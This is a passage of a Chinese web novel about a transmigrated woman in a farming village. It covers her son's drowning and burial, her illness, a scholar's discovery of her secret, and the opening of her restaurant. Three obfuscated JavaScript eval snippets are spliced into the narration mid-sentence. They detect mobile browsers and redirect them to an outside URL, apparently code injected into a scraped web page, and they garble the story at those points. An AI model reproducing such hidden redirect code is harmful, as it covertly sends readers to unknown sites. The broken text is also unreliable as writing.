又过了几天,依然没有李金生的任何消息,李家一家人在平安镇周围的赌场都找个遍,谁都没有看到李金生的身影,陈氏的爹娘帮着找了几天后,也回去继续收地了。 这日,李家的大门被拍响了,“秦娘子,你在家不?”院门外传来村长李长贵的声音,带着股平日里没有的慌张,还没等人应,人已经踉跄着闯了进来,额头上全是汗。 秦嘉言正在灶台上给陈氏煎安胎药,听到声音急忙出来看:“长贵叔你这是咋了?这么着急?” 李长贵咽了口唾沫,眼睛先瞟了眼炕上的陈氏,嘴唇哆嗦着,半天没说出囫囵话。 秦嘉言心里“咯噔”一下,手不由自主地按住了胸口:“村长,你倒是说啊,是不是……是不是有金生的信儿了?” 36. 第 36 章 李长贵看着陈氏没敢吱声,秦嘉言的心里面已经有了不好的预感,捂着嘴没有再说话。 陈氏猛地从床上站起来,手用力的扶着炕延,指头都发白了:“村长,是不是金生他?......是不是找到他了?” 最近半个月,她睡觉的时候经常做噩梦。要么是梦到李金生欠赌债被人打死,要么是他掉进哪个沟里爬不出来,活活饿死。白天她强撑着跟秦嘉言她们说说话,夜里就抱着枕头痛哭,怕自己哭狠了动了胎气,又怕金生真出了啥事,这肚子里的娃生下来就没爹。 李长贵抹了把脸,声音低沉的几乎听不见:“那个,秦娘子,陈氏......你们先稳住。今儿个晌午,咱们村上游的麦花村后面河道,就是老石桥往下走半里地,打鱼的吴大脚捞上来个人......” “捞上个人?”秦嘉言猛地站起来,一盆黄豆洒在地上都没捡,“是谁?是不是金生?还活着么?” “他把人捞上来时就......就已经没气了。”李长贵别过脸,不敢看陈氏,“那人穿着件灰布褂子,个头跟金生差不多,也是个瘦的,但是脸泡肿了,又被鱼啃噬得很严重,看不清模样,我们都不敢认,想着......想着先过来知会你们一声。” “不可能!那肯定不能是金生!”陈氏突然喊了一声,声音尖得发颤,眼泪“唰”地就下来了,“李金生肯定就是出去赌博了,他欠了钱不敢回来,怕娘收拾他!你们打捞的那个人肯定不是他!”她说着说着就蹲下去,手死死护着肚子,肩膀抖动不停。 刘菇在一旁腿一软,差点栽倒,扶着灶台才站稳,眼泪哗哗往下掉:“不能,不能是二伯的,二伯水性很好,哪能栽到河沟里上不来!不能是他!” “你们都哭啥!村长也没说那人就是李金生!”秦嘉言吼了一声,声音却哑得厉害,她走过去把陈氏扶起来,手也在微微颤抖,“玉桂,你坚强点,你肚子里还有孩子呢!不管遇到什么事,还有娘呢!放心,到啥时候我不能不管你,再说,还没到最坏那一步呢!” 李氏也赶紧给她倒了杯水:“是啊弟妹,村长也没说那就是金生,你别胡乱想。赶紧坐下,你看你这两天黑眼圈都出来了” 她回过身,把头转向李长贵的方向,还没看见人,就低下了头:“多谢长贵叔过来报信儿,那人...那尸体现在在哪儿?” “现在就停在麦花村村头的老榆树下,上面盖着块草席。”李长贵叹了口气,“秦娘子,你看,要不要过去认认?” 陈氏一把抓住秦嘉言的胳膊,指甲都快嵌进她肉里了,哭红的眼睛地看着她:“娘,不是他,肯定不是他。金生就是躲起来了,他知道错了,过阵子就回来了,咱们再去找找,去邻县的赌场问问,说不定他跑隔壁县城去了” 秦嘉言拍了拍她的手背,带着些许暖意:“玉桂,娘知道你心里不好受。可村长都这么说了,不去看看,心里头不踏实。是也好,不是也好,咱们去看看,也能早放下心,接着找。你说是不是?” 她嘴上这么说,心里头却不好受。这半个月,镇上的赌场、邻村的赌坊,能找的地方都找遍了,连金生之前常去的那几个相好的赌徒家都翻遍了,影子都没见着。虽然之前特别狠他不争气,总偷偷去赌博,她还说要把他打死,可现在人真的不见了,她的心里也跟着不好受。 “娘,我也去。让我去认认。”陈氏咬着牙,扶着墙慢慢站直了身。她摸了摸肚子,眼泪还在流,声音却坚定了些,“我得去看看,是不是他。要不是他,我们还得接着找。要是他......” 李闻生从柴房里跑过来,砍柴的刀还没有放下:“娘,还是我去吧,金生我指定能认出来,你还是在家好好陪着弟妹,别让她在出什么意外,你们跟着去也没什么用。” 李玉生赶紧接话:“是啊!娘,就让我们哥儿几个去看看。要是别人的话,你们去看见了再吓着。” 李长贵看着这一家子,心里也不是滋味,叹了口气:“那走吧,一会就要天黑了,我们赶紧去,看完了早做打算。” 陈氏连忙拉住李闻生,眼圈泛红:“大哥,你仔细看,看清楚了。要是......要是不像,就赶紧回来。”她不敢说“要是像”该怎么办,那字眼像刀子,割得她心口疼。 李闻生点点头没说话,带着老三、老四跟着李长贵就往麦花村去。一路上周遭的空气都透着一股压抑,打谷场上的村民见他们神色不对,也不敢多问,只是远远地看着。 到了麦花村村头,那具尸体被草席盖着,就停在老榆树下面,旁边站着几个麦花村的村民。一股淡淡的腥臭味随着河风飘过来,李闻生忍不住皱紧了眉头。 “就是这个了。”李长贵指了指草席,“你自个儿过去看看吧。” 李闻生深吸一口气,蹲下身,慢慢掀开了草席的一角。入眼的景象让他胃里一阵翻腾。那男子的尸体泡得发胀,脸色青白,脸上更是腐烂得不行,显然是被水里的鱼虾啃过,根本看不出原来的模样。 他强忍着恶心,仔细打量着。身材看着倒是跟弟弟金生差不多,可这脸......他摇了摇头,心里存着一丝侥幸:“村长,这......根本看不出来啊,这脸都烂成这样了......” 吴大脚赶紧跑过来,解释到:“我们捞上来的时候就这样了,泡了少说也有十来天。不信你看看那衣裳都快泡烂了!” 李闻生的目光移到尸体身上的衣服上。那是一件半旧的短褂,袖口磨得有些发白,这褂子看着确实像李金生常穿的那件。 他心里一紧,又仔细看了看,布料、样式,都对得上。可就因为脸看不清,他还是不愿意相信这人就是李金生。 “衣裳倒是是像,但这个样式的衣裳很多人穿,不只他一个,你看看周围的人,不也好几个穿这样的款式么!”李玉生蹲下看了半天站起身,声音有些沙哑。 “嗯,没错,这脸也确实看不出来,说不定不是他。”李闻生想转身离开,心里盼着这赶紧不是弟弟。 可就在他转身的瞬间,目光无意间扫过尸体的袖口。那磨得发白的袖口内侧,隐约露出一点金黄色的线迹。他心里猛地一跳,又蹲下身,小心翼翼地把那袖口扯平了些。 那是一个歪歪扭扭的金元宝刺绣,针脚算不上精细,却是陈氏亲手绣的。李金生失踪的前几天,陈氏刚把这褂子补好,还特意绣了个金元宝在袖口里头,她笑着跟李金生说:“你叫金生,给你秀个金元宝正正好衬你。到哪去都不会走丢。” 李金生还跟他显摆过,说陈氏给他绣了金元宝,他将来肯定能日进斗金,在赌场大杀四方! 当时他还生气的教训弟弟:“你成天就知道玩!在让我抓到,肯定揍死你!你要是还不改继续玩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16144558|176884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,弟妹就是给你绣个金山也没有用!” 李闻生的手开始发抖,指尖触到那粗糙的布面和硬挺的线迹,眼泪“唰”地就下来了。是了,错不了,这是陈氏绣的,那歪歪扭扭的样子,他记得清楚。 “是......是金生......”他哽咽着,说不出完整的话,胸口像是被巨石压住,喘不过气来。那个总爱跟他顶嘴,被他揍了无数次还嬉皮笑脸的弟弟,那个不争气总去赌钱的弟弟......就这么没了?他还没见过自己的孩子呢! 李水生、李玉生的眼泪一下子就留了出来,他们不敢相信,前些天还活泼乱跳的人,咋......咋就这么没了? 李长贵拍了拍李闻生的肩膀,叹了口气:“你们......节哀吧,既然是他,那......抬回去吧。” 李闻生抹了把脸,点了点头。他叫上两个弟弟,还有村里几个平时跟自家交好的壮汉,又脱下自己身上那件相对体面些的蓝布褂子,轻轻盖在了尸体的头上。他不想让弟弟就这么露着那张惨不忍睹的脸,更不想让娘和陈氏看见。 几个人用门板把尸体抬着往回走,一路无话。李闻生走在最前面,整个人都恍恍惚惚的不知道自己在干啥。路过的村民见了这阵仗,都停下了手里的活计,往这边看,还有几个和他比较熟的人,直接跑过来跟在他身边。 到了李家院门口,李闻生停住脚,深深的吸了口气才推门进去。 秦嘉言和陈氏早就等在院里,陈氏扶着门框,看见门板上盖着的蓝布褂子,腿一软就瘫坐在了地上。“不......不可能......”她喃喃着,眼神直勾勾的,“金生......金生你别吓我......” 秦嘉言眼前一黑,扶着墙才没倒下。她看着那块蓝布,嘴唇哆嗦着,半天没说出话,最后只化作一声压抑的哭。 “弟妹,弟妹你别这样......”李氏含着眼泪走过去想扶她,话没说完,就见陈氏猛地站起来,疯了似的扑向门板,却在快要碰到的时候停住了,只是死死盯着那块蓝布,眼泪汹涌而出。 “是他吗?大哥,你告诉我,不是他对不对?”陈氏抓住李闻生的胳膊,“他还答应我,再也不赌了......他还没看看孩子呢......” 她说着说着,身子一软,就晕了过去。 “玉桂!”秦嘉言惊呼着扑过去,“快,快掐人中!水生,你赶紧到镇上去请个大夫过来!” 院子里顿时乱成一团。邻居们听到动静都赶了过来,有帮忙掐人中的,有扶着陈氏的,还有几个妇女围着秦嘉言掉眼泪。 “这可怜的陈氏,怀着身孕呢,这以后可怎么办呀,这孩子连父亲都看不着了......” “金生这孩子,怎么就这么命苦,怎么就掉进河里了,今年的雨水也不大啊......” “唉,赶紧办后事吧,总不能这么放着,这都多少天了......” 议论声嗡嗡地响着,秦嘉言慢慢缓过神来,抹了把眼泪,哑着嗓子说:“闻生,你去和老四找几块板子,简单打个棺材,先......先把人安葬了吧......” 李闻生红着眼点了点头,招呼着几个壮汉去准备。女人们则七手八脚地把陈氏抬到炕上,又是喂水又是掐人中,折腾了好一会儿,陈氏才悠悠转醒,一睁眼就开始哭,哭得撕心裂肺。 37. 第 37 章 太阳升到头顶的时候,一口简单的薄皮棺材做好了。村里的几个壮汉小心翼翼地把李金生的尸体抬进去,李闻生亲自盖的棺盖,盖之前,他又看了一眼那块被血和泥弄脏的蓝布褂子,眼泪又忍不住掉了下来。 这个从小跟在他后面不争气的弟弟就这么没了?他还是有点不敢相信躺在里面的人就是李金生。他轻轻的拍了拍木棺,似乎是想把里面的人叫醒。拍了半晌毫无动静,他身子一软,无力的跪在了地上。 李水生和李玉生也呆呆的看着那口薄棺不停的哭,以前哥几个还会暗自算计,都想等分家时多占一些田产,只是娘还在世,他们不可能这个时候分家,有的时候心底也期盼谁不在了,自己好能多得点财产,没想到......没想到...... 李金生真的死了,他们以前的那点自私的小心思也跟着消散了,一点庆幸的感觉都没有,反而生出了只要他能活过来,自己那份都给他的心思。 那具遗体在李家院子里只停灵了一日,便草草的下葬了。 没有吹鼓手,没有像样的祭品,只有几个近亲邻居帮忙,几个壮小伙把棺材抬到了村后李家的祖坟。一抔抔黄土盖上去,很快堆起一个小小的土坟。 陈氏哭成了泪人,跪在坟前不肯离开,虽然她之前恨李金生抢她的嫁妆去赌博,可从她有了孩子之后,他整个人都不一样了,心里眼里都是她和孩子,就算给她买个小食,都要找好几家对比,挑最好的买。 她肚子里的孩子更是可怜,连自己的亲爹都没有见到,她都不知道接下来的日子要怎么过。 母亲高氏劝了她许久,让她小心身子。毕竟她还怀着孩子,虽然现在已经过了三个月,但怕她这样成天伤心下去,孩子、大人都容易保不住。 秦嘉言也担心这个二儿媳妇会出意外,带着李氏和刘氏劝了她很久,陈氏抱着墓碑不撒手,谁劝都不听,只跪在哪里嚎啕大哭。 最后还是秦嘉言做主,强行让她跟高氏先回娘家,等她缓过来一些在做打算。陈氏还是说什么都不肯,她的亲爹陈守国一掌把她打晕了,轻轻的放在铺了四层被子的车上,才慢慢的赶车回去。 秦嘉言把李金生的后事都料理完之后,就病倒了,浑身烧得滚烫,嘴里不停的呓语,李氏和刘氏在一旁伺候,听着婆婆压抑的喘息声,心里也跟着不好受。 “娘,你就喝口药吧,这药我都吹凉了,一点都不烫。”刘氏小心翼翼的把碗端到秦嘉言面前,秦嘉言想都没想就转过了身子拒绝喝药。 这段时间她想了许多,她对自己失望透顶。自从穿越到这个世界,她一直都没有把自己当成这个世界的人,跟着他们相处,就像完成任务一样,把他们都当成了NPC,而不是现实的人。 直到李金生死了,就那样活生生的一个人,在她眼前变成了一座坟冢,她才有种他们不是NPC而是活生生的人的感觉。 她想起刚穿越到李家村时,李金生趾高气昂让陈氏伺候她的样子、抱怨粪水太臭,但依旧一担一担挑到田里的样子、吃饭的时候,把最好最嫩的一块肉夹到她碗里的样子、赌博被抓到后在地上痛哭流涕要痛改前非的样子。 一桩桩一件件,好像就在眼前,而现在,李金生这个大活人却已经变成了埋在地里的一抔黄土。她有点接受不了,也对眼前的现实感到无措。 或许......就这么死了也挺好。 秦嘉言昏昏沉沉地想。她就这么闭上眼睛,永远不再醒来,说不定就能回到那个有空调、有外卖、没有生离死别的世界去了。那样,就不用面对这满室的悲伤,不用再面对这个让她手足无措的真实人间了。 这几天,秦嘉言一直昏昏的睡着,李家院里可开了锅。儿子和儿媳几个看见秦嘉言这个样子,都急得不行。 找了好几个大夫都有没有办法,他们都说是他娘是因为思虑过重,急火攻心导致的,用药也没有太大的作用。 眼见秦嘉言一点点的衰弱下去,一个上了年纪的老大夫竟然让他们准备后事,李玉生急得破口大骂,直接把那个老大夫给撵了出去。 “大哥,这可怎么办?”李玉生在院子里不停的转悠,嘴角都急出来一堆火泡,“娘肯定就是跟二哥伤心导致的,这可咋整?二哥刚走,二嫂也回娘家去了,这娘要是在有个三长两短,这日子可咋办!” 李闻生搓了一把脸,叹口气:“我们把能请的大夫都请过来了,人家说现在只能靠她自己。”他把碗重重的摔在地上,“我现在......我现在也没办法!只能在宽慰她试试......” 李定馨靠过去,把碗的碎片都捡起来,放到墙角,“我今天特意熬了点参汤,还是之前婆婆给刘菇预备的。可......可是......”她叹了口气,“婆婆还是老样子,闭着眼睛不肯喝。我和刘菇把她扶起来,硬灌了下去,不到片刻她就吐了出来。” 婆婆现在对她这么好,她又和娘家那边断了亲,李氏现在是真心拿她当亲娘看待,瞅着秦嘉言现在这个样子,她心里比谁都难受。 “娘的烧退了么?”李水生问。 刘菇摇了摇头,她把婆婆给她买的参片都拿了出来,恨不得一口气全都给她灌下去,好让她快点好起来。 可是...... 几个人正商量着,大门忽然砰砰砰被人急促的敲响了。 李氏赶紧过去吧门打开,“顾......顾先生!怎么是你?!” 门外,顾毅背着一个小包裹,满头大汗的站着,一看就是赶了许久的路。 “我听说金生的事了,赶紧回来看看,嘉言......秦娘子她还好吧?”顾毅用袖子把额头上的汗擦下去,他的鞋底上的泥都结了层硬壳,一点不似之前高冷的样子。 他刚从考场出来,听见同村人说李金生被淹死了,他连住店等放榜的心思都没了,雇了辆旧驴车就往回赶,一路颠得骨头都快散了。 “快,快进来说!”李闻生连忙站起来把他迎进了院子,不知道为什么,总觉得他回来,就像有了主心骨,好像一切 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16148770|176884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问题都能解决了一样。 “娘她......她现在不是很好。”李闻生看着顾毅,脸上带着复杂的表情,“自从金生走后,她就一直发高烧,已经快五日了。今天更是连参汤都灌不下去了,我们现在也没法子” 他垂下头低声抽泣,又吩咐李氏赶紧给顾毅倒杯水。 顾毅着急的看着他,“怎么会这样?我走的时候不还好好的吗?你娘的身体不像会生病的样子。” 李玉生看着顾毅十分亲切,连忙拽着他往他娘的屋里走。“小舅舅,您去看看我娘也好,医生说她就是心里的病,吃药没什么用。你去开导开导她,也许能有用!” 顾毅没说话,大步跨进秦嘉言的屋子。屋子里没什么像样的家具,炕上铺着洗得发白的厚棉被,秦嘉言缩在里面,脸却白得像张纸,嘴唇干得起了皮,脸呼吸都透着几分微弱。他仔细一看,不过月余不见,眼前的人竟然瘦得脱了相。 顾毅心口猛地一揪,说不清是疼还是气。前阵子走的时候,她还站在门口跟他告别说:“安心去考,等你当大官,回来照顾我们生意。”那嗓门大得能惊动隔壁,怎么才这点功夫就折腾成这样? 他回过头看着屋里的其他人,眉头拧得死紧:“你们先出去一下,我想跟你娘单独说几句话。” 李玉生愣了愣,想说什么,被他大嫂悄悄拽了拽胳膊,众人都轻手轻脚退了出去,只留下顾毅和秦嘉言。 屋里霎时静下来,只听见秦嘉言微弱的呼吸声。 顾毅搬了张矮凳坐在炕边,盯着她消瘦的脸看了半天,喉结动了动,压低了声音说:“你为什么要作贱自己?啊?为啥跟自己过不去?” 他知道她多半醒着,他说话的时候看见了她的睫毛在微微抖动。 “我知道你心里有许多事,”他伸手想去探她额头的温度,手伸到半空又停住,攥成拳收了回来,“可再难,你也不能拿身子骨糟践。你这样......” 炕上的人睫毛又突然颤了颤,幅度不大,却被顾毅逮了个正着。 秦嘉言其实早醒了,浑身软得像摊棉花,连睁眼的力气都没有。听见顾毅的声音时,她还以为是烧糊涂了,他不是该在考试吗?怎么会跑回来? 她费了好大劲才睁开眼睛,视线模模糊糊的,好一会儿才看清眼前的人。 顾毅穿着件半旧的长衫,领口沾了点灰,头发乱蓬蓬的,下巴上冒出层青黑的胡茬,眼底的红血丝看得一清二楚,可那双眼睛直直的望着她时,却亮得让人心慌。 “你......”她嗓子干得像要冒烟,声音嘶哑得厉害,“怎么回来了?考......考完了吗?” 顾毅见她睁开眼,心里头那口气先松了半截,很快又沉了下去。她眼里没了往日的精神头,像是对什么都提不起劲。这副死气沉沉的样子,比她当初叉着腰骂儿子时还要让人揪心。 他沉默了一会,指尖在膝盖上无意识地摩挲着,忽然开口:“秦嘉言,别装了。我知道,你不是原来的秦氏!” 38. 第 38 章 秦嘉言浑身一颤,瞬间清醒了大半。她猛地睁大眼睛,眼珠子都快瞪出来了,直直地盯着顾毅,嘴唇哆嗦着,半天没发出声音。 他......他怎么会知道?这件事儿她一直藏得很深,做梦都怕说漏嘴,他才在李家住了多久,怎么会...... “你不用这么看着我。”顾毅叹了口气,声音放软了些,“我在你家里住着时,跟李玉生聊了许久。他说你变了很多,不再动不动就打骂儿媳妇,还教几个儿媳妇做金蛋、做卤煮卖钱,以前你只拿你那几个宝贝儿子为重,现在却拿他们当牲口使。” 他顿了顿,目光落在她脸上,温柔的说:“之前我在做水车的时候,柴木匠的媳妇总出来看我们的进度,你不在的时候,她拉着我絮叨了半天,说你如今是菩萨心肠,见谁都笑。她说起秦氏以前,那可是非常不好说话,谁多看她一眼,都能朝他吐口水。” 秦嘉言的心跳不停,手心全是汗,死死拽着被角。 “还有你弄出来的那些新鲜玩意儿。”顾毅认真的看着她,继续说,“那个金蛋、卤煮什么的,有谁见过?那水车,能把地浇的透透的!还有那肥料,怎么恰好你能想到,那些种了那么多年地的农户都想不到?” 他看着她发白的脸,声音放轻柔了些:“这些东西,不是一个一辈子没出过小镇的农妇能想出来的。我猜......你是从别的地方来的吧?就像那些志异小说里写的,一缕孤魂,不小心落到了这身子里。还是狐妖?或者是哪的孤魂野鬼?” 秦嘉言彻底傻眼了,张大了嘴巴半天合不拢。她怎么也想不到,顾毅竟然能猜到这一步。他一个读圣贤书的,不是不应该信这些神神叨叨的东西吗? 顾毅像是看穿了她的心思,嘴角扯出点苦笑:“别看我读的是孔孟,可家里穷,以前常去书铺抄书换些银钱。那些志怪传奇,我抄过不少,也看了不少。世间之大,哪有什么绝对的道理?” 他见她眼里满是震惊,心里反倒踏实许多,至少她有反应了,不是刚才那副油盐不进的样子。 “我知道你或许不自在,”顾毅的语气诚恳了许多,帮她掖了下被子:“顶着别人的身子,过着不相干的日子,换谁都难。可秦嘉言,你捂着胸口问问自己,你来了这些时候,村里的日子好了多少,你心里清楚。李闻生他媳妇不再偷偷抹泪,金生媳妇也有了身孕,水生他媳妇......”他顿了顿,“就更不用说了,要不是你,她的一条小命恐怕早就魂归西天了。” 秦嘉言闻言眼圈慢慢红了,别过脸看向炕里,声音闷闷的:“那又怎么样?我本就不属于这儿......” “哪有什么属于不属于的?”顾毅打断她,语气有些急,“你在这儿住了这么久,帮了这么多人,这日子早就成了你自己的了!你以为那些被你帮过的人会忘了你?你研究那水车和肥料,李家村今年的税收是全县最好的。等贾胥大人回来,把肥料的方法推广出去,明年这州府的百姓都不用饿肚子了!” 他往前凑了凑,在她耳边轻轻说。:“你总说自己不是圣人,可圣人也未必能做到你这样。你凭什么要自怨自艾?凭什么要把好好的日子糟践了?” 秦嘉言没说话,眼泪却顺着眼角往下淌,打湿了枕巾。她不是没想过这些,可有时候静下来,看着院里的老槐树,总觉得像场梦,梦醒了,她连个去处都没有。 顾毅见她哭了,心里反倒松快些,至少她肯把情绪露出来了。他站起身:“你先躺着,我去端点吃的来。等吃饱了你在好好想想。” 没一会儿,他端着碗白粥进来,粥熬得稠稠的,上面还撒了点白糖。他坐在炕边,舀了一勺,放在嘴边吹了吹,才递到秦嘉言嘴边:“先喝点粥,有力气了,才有精神想别的。” 秦嘉言看着他的脸,他睫毛很长,低头轻轻吹着粥。她愣了愣,下意识地张开嘴,温热的粥滑进喉咙,带着点淡淡的甜味。 一勺又一勺,顾毅喂得很仔细,眼神专注。秦嘉言忽然就哭了出来,到了这个世界这么久。她隐瞒这么久,终于有个人能懂她了。 秦嘉言喝下粥后,傍晚就退了烧,两个儿媳妇乐得不行,连忙又把参汤给她热了热端过去,第二天她已经能下地了。 李闻生看着顾毅表情有些复杂,他隐隐约约能感觉到什么,却有点抓不住。顾毅瞥了他一眼,没有说话又恢复了那个不爱说话高冷的样子。 秦嘉言坐在院里的葡萄树下,小声的跟顾毅说:“顾毅,你放心,我想明白了。我这辈子就是秦嘉言,也是秦氏。永远不会改变,我要好好的活下去,不枉此生。” 顾毅点点头,“你能这样想很好。不管以后发生什么事情。你是秦氏,这件事不会改变。”他也是隐约地告诉秦嘉言,他不会将她的秘密告诉任何人。 秦嘉言笑着捶了一下他的胳膊,“无所谓了,你说出去也不会有人信的。何况我也不能承认。”她捂嘴笑了一下:“别说我的事了,你是不是得赶紧回去看榜了?要是中了秀才,回头写信告诉我一声。” 顾毅看着她,眼睛里含着浓浓的情意,“不急,榜单在那里也不会丢,回头我到镇上衙门问一下就知道了。” 他看着秦嘉言现在的样子,好似真的想开了,“秦娘子,你以后有什么打算?” “没什么打算,还按照先前计划那样把酒楼先开起来!”秦嘉言耸耸肩,无所谓的道:“反正田地都处理的差不多少了,最近我打算去镇里,寻摸一个好地方,要是买不了就先租一个,赶着过年前把店开起来。” 顾毅点点头,微笑的说:“你有计划了就好,要是有能用得着我的地方就说,这一冬天我都会待在镇上,这次要是中了,我就准备在镇上温习,等明年开春直接参加春闱。” “那挺好啊!”秦嘉言眯起了眼睛,抬着下巴说:“要不你就住在酒楼里,这样还能省一些住宿费。” 顾毅好像正等着她说这句话,想都没想就点了头。不远处,李闻生看着相谈正欢的二人微微蹙起了眉。 不到三日,振作起来的秦嘉言就在镇上找好了地点,铺子的位置就在金掌柜杂货铺后面,和原来摆摊的位置只隔了一条街。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16158737|176884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个铺子原来开的就是间食肆,虽然不在闹市,但也有一定的人流量。 前任老板要举家南迁,投奔亲戚,才想着把铺子卖出去,里面的桌椅板凳装饰保持的都很好,盘下来收拾收拾换块牌匾就能直接营业了。 食肆不大,楼上只有四个雅间,楼下也只能摆放八张桌子。但好在食肆后面还带个小院子,配套这四间小茅屋,能住人,也能装些杂物。院子里面还有一口井,将来洗菜做饭不用再额外买水了。 食肆的老板着急脱手,给了秦嘉言一个最低价,照比周边的店铺都便宜了两成。 秦嘉言想了想,这食肆的老板是看到她兜里的银子了么?盘下铺子的银子正正好够。但买完铺子,就一吊钱都没有了。但酒楼前期收拾,买菜也需要不少银子,犹豫了好半晌还是摇摇头跟着中介去了其他两家店铺。 剩下的店铺,要么就是地点不好,要么就是太破旧,秦嘉言看了一圈,都没有先前那个满意,想了想还是和中介商量,在匀她几日。 那食肆老板看见秦嘉言真心喜爱,自己也确实着急脱手,就给她减了二十两银子。秦嘉言想了想,又直接从村长李长贵那里借了二十两银子,把铺子盘了下来。当天就跟着他们到县里衙门过了手续。 又过了五天。 噼里啪啦的鞭炮声炸得人耳朵发鸣,秦嘉言站在“聚鲜馆”的门板前,笑的眉眼都弯了起来。 她摸了摸怀里空落落的钱袋,她深吸一口气,虽然还欠了村长二十两银子,但相信她很快就能赚回来了! “娘,我要把红布扯下来了!”李玉生嗓门大,扯着红绸子朝她喊。 秦嘉言抬头看,楼上四个雅间的窗户贴了新的窗纸,楼下摆着八张方桌,桌腿都用布擦过,看起来十分干净整洁。 她心里盘算着,楼上那几间,得她亲自下厨,做些上辈子吃过的东坡肘子、松鼠鳜鱼、糖醋里脊什么的名贵菜,用料得讲究,价钱也得上去,挣那些有钱人和读书人的钱。 楼下呢,她让木匠打了十几个长方木盒子,刷了层清漆,看着干净。昨天跟两个儿媳妇说定了,就做教会她们那几道菜,红烧肉、香菇滑鸡等每天四荤八素,上午炒好了就放在那木盒子里,谁要哪个就盛哪个。按份卖,有点类似她那个时代的盒饭。一荤一素一份卖三十文钱,主食管饱,专给镇上的平民预备着,卖完就收,省得麻烦。 “娘,顾先生把菜单写好了。”李玉生跑过来,他前前后后忙活了一天,额头上全是汗。 秦嘉言嗯了一声,看向墙上。两张菜单,都是顾毅写的。楼上那张字写得秀气,菜名旁边标着价钱;楼下那张字大些,明明白白写着“今日供应,售完即止”。 这顾毅,已经把行李都搬到后院去了,平日里帮她写写画画,闲暇的时候顺带教她和大儿媳妇认认字。后院就那么几间房,她住一间、老大两口子一间,顾毅和李玉生一间,挤是挤了点,比村里的房子小多了,但也够住。 正想着,街上忽然一阵乱,有人喊:“那几个不是县衙的衙役吗?他们怎么来了?” 39. 第 39 章 秦嘉言愣了下,就听见有人喊:“县衙派人送喜报来啦!” 就见两个穿皂衣的衙役举着张红帖子,径直往这边走,嘴里还吆喝着:“顾毅,高中秀才!” 她心里一下就活络起来,扭头看后院方向。顾毅听到声音从里面出来,手里还攥着本书,听到喊他的名字,加快了脚步往前面走过来。 “顾秀才,恭喜恭喜啊!今年你可是我们县里唯一的一个秀才!”一个瘦脸的衙役把喜报递给他,笑着朝他拱拱手。 周围看开业热闹的百姓一下子都围了上来,七嘴八舌地朝他们贺喜。秦嘉言走上前,看着顾毅手里那张红帖子,突然笑了:“顾毅,我们今天这可真是......双喜临门啊!” 今天她这“聚鲜馆”新开张,他又中了秀才,可不是双喜么?顾毅握着喜报,温柔的看着她,眼里带着点激动:“秦娘子......多谢......要不是你前段时间收留我......” “哎呀,你怎么还客气上了!别忘了你是我‘表弟’!咱们可是亲戚,亲戚之间互相帮忙不是正常的事么!以后你不用在放心上......”秦嘉言用力的拍了拍他的后背,笑得整个脸都像铺上了一层阳光。 就在这时,人群里传来个怯生生的声音:“娘......” 秦嘉言猛地回头看去,居然是陈氏,自从李金生没了以后,陈氏被她父母带回娘家,已经半个月了。此刻她站在那里,穿着件洗得发白的深色衣裙,手里拎着个小包袱,旁边还站着她的母亲高氏。 陈氏见了秦嘉言,眼圈先红了。秦嘉言的目光落在她身上,随即顿住看向陈氏的肚子,陈氏这阵子瘦了不少,显得肚子凸起明显了一些。 “娘,我......”陈氏往前走了两步,声音哽咽,“我已经好多了,我亲爹娘劝我以后就留在娘家,怎么的都有我一口饭吃。可是......可是我舍不得您!我肚子里......是金生的骨肉。我想就在这个家呆着,跟着娘好好生活,您要是不嫌弃......我就......守着您,守着这个家。”说着,她腿一软,竟想跪下去。 秦嘉言赶紧上前一把扶住她,手碰到陈氏胳膊,才发现不过短短十多日的时间,她竟然瘦得硌手。 她想起刚刚去世的李金生,再看看陈氏肚子,鼻子一酸,眼泪没忍住,吧嗒掉在了手背上。 “你这傻孩子,我哪能嫌弃你,心疼你还来不及呢!”她抹了把脸,心里有些高兴,有隐隐的心疼她,“今儿大喜的日子,你回来就好,快上后院,好好歇一下,我让你大嫂给你下碗热汤。以后你就跟着我住在镇上,咱俩一个屋!” 鞭炮的硝烟还没散完,周围的百姓就一下子拥进了饭馆。 这“聚鲜馆”今天第一天营业,还是秀才公家的店,怎么地不得去沾沾喜气。 秦嘉言才回过神,赶紧把两个报喜的衙役迎上了二楼雅间。“谢谢两位大哥特意过来报喜。赶紧上二楼雅间坐坐,小店今天刚开业,让你们二人好好尝尝我的手艺。” 李氏站在厨房门口,抽空用手帕擦了擦滴在额头上的汗珠,嘴角却微微上扬。今儿是自家“聚鲜馆”开张的日子,这鞭炮声刚停,楼下的八张桌子就坐满了人,还有很多不是一家人的一起拼了桌。 